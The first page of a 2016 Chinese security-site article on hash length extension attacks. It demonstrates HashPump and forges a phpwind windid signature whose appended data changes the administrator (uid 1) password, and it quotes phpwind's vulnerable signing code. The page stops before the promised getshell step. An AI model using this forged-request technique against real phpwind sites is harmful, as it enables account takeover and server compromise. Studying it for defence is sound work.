欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

phpwind利用hash长度扩展攻击修改后台密码getshell

来源:本站整理 作者:佚名 时间:2016-07-28 TAG: 我要投稿

 哈希长度扩张攻击(hash length attack)是一类针对某些哈希函数可以额外添加一些信息的攻击手段,适用于已经确定哈希值和密钥长度的情况。这里推荐有python扩展的HashPump,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。

文章目录

1 哈希长度扩展攻击

1.1 简介

哈希长度扩张攻击(hash length attack)是一类针对某些哈希函数可以额外添加一些信息的攻击手段,适用于已经确定哈希值和密钥长度的情况。哈希值基本表示如下H(密钥||消息),即知道了哈希值和密钥的长度,可以推出H(密钥||消息||padding||append)的哈希值,padding是要填充的字段,append则是要附加的消息。其实如果不知道密钥长度,可通过暴力猜解得到,已知的有长度扩展攻击缺陷的函数有MD5,SHA-1,SHA-256等等,详细的攻击原理可参考

Everything you need to know about hash length extension attacks

1.2 利用

这里推荐有python扩展的HashPump,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。

安装: pip install hashpumpy

root@kali:~/python# hashpump --help
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
 HashPumpgeneratesstringsto exploitsignaturesvulnerableto theHashLengthExtensionAttack.
 -h --help          Displaythis message.
 -t --test          Runteststo verifyeach algorithmis operatingproperly.
 -s --signature    Thesignaturefromknownmessage.
 -d --data          Thedatafromtheknownmessage.
 -a --additional    Theinformationyouwouldliketo addto theknownmessage.
 -k --keylength    Thelengthin bytesofthekeybeingusedto signtheoriginalmessagewith.
 Version 1.2.0 withCRC32, MD5, SHA1, SHA256and SHA512support.
 <Developedbybwall(@botnet_hunter)>
 
 -s参数对应的就是H(密钥||消息)中的哈希值,-d参数对应着消息,-k参数对应着密钥的长度,-a则是要附加的消息。
 
  root@kali:~/python# hashpump -s "ebfe0fff1806cfe6186c6a0b172e8148"
  -d "1465895192adoAvatarcavatarmapitypeflashuid2uidundefined" -k 32 -a 
  namespacesiteaeditUsercusermapipasswordGongFang9uid1
  4daee9a61955a1c17319f4c1664d11df
  1465895192adoAvatarcavatarmapitypeflashuid2uidundefined\x80\x00\x00\x00\x00\x00\x00\x00\x00\
    x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
    x00\xb8\x02\x00\x00\x00\x00\x00  
  \x00namespacesiteaeditUsercusermapipasswordGongFang9uid1
 

最后提供一个哈希扩展攻击在线工具:http://sakurity.com/lengthextension,需要注意的长度是密钥+消息的总长度,详情见图:

2 phpwind利用点分析

phpwind会在每次请求的时候校验密钥,具体的对应函数如下:
 
public  function beforeAction($handlerAdapter) {
    parent::beforeAction($handlerAdapter);
    $charset = 'utf-8';
    $_windidkey = $this->getInput('windidkey', 'get');
    $_time = (int)$this->getInput('time', 'get');
    $_clientid = (int)$this->getInput('clientid', 'get');
    if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
    $clent = $this->_getAppDs()->getApp($_clientid);
    if (!$clent) $this->output(WindidError::FAIL);
    if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), 
              $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);
 
    $time = Pw::getTime();
    if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);
    $this->appid = $_clientid;
}
 

在这个函数中会提取windidkey,并且和 WindidUtility::appKey 生成的结果做对比,不同则退出,如过相同继续判断时间是否超时,超时也退出,appKey的实现如下:

public static function appKey($apiId, $time, $secretkey, $get, $post) {
    // 注意这里需要加上__data,因为下面的buildRequest()里加了。
    $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
                  'Filename', 'Upload', 'token', '__data');
    $str = '';
    ksort($get);
    ksort($post);
    foreach ($getAS $k=>$v) {
        if (in_array($k, $array)) continue;
        $str .=$k.$v;
    }
    foreach ($postAS $k=>$v) {
        if (in_array($k, $array)) continue;
        $str .=$k.$v;
    }
    return md5(md5($apiId.'||'.$secretkey).$time.$str);
}
 

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载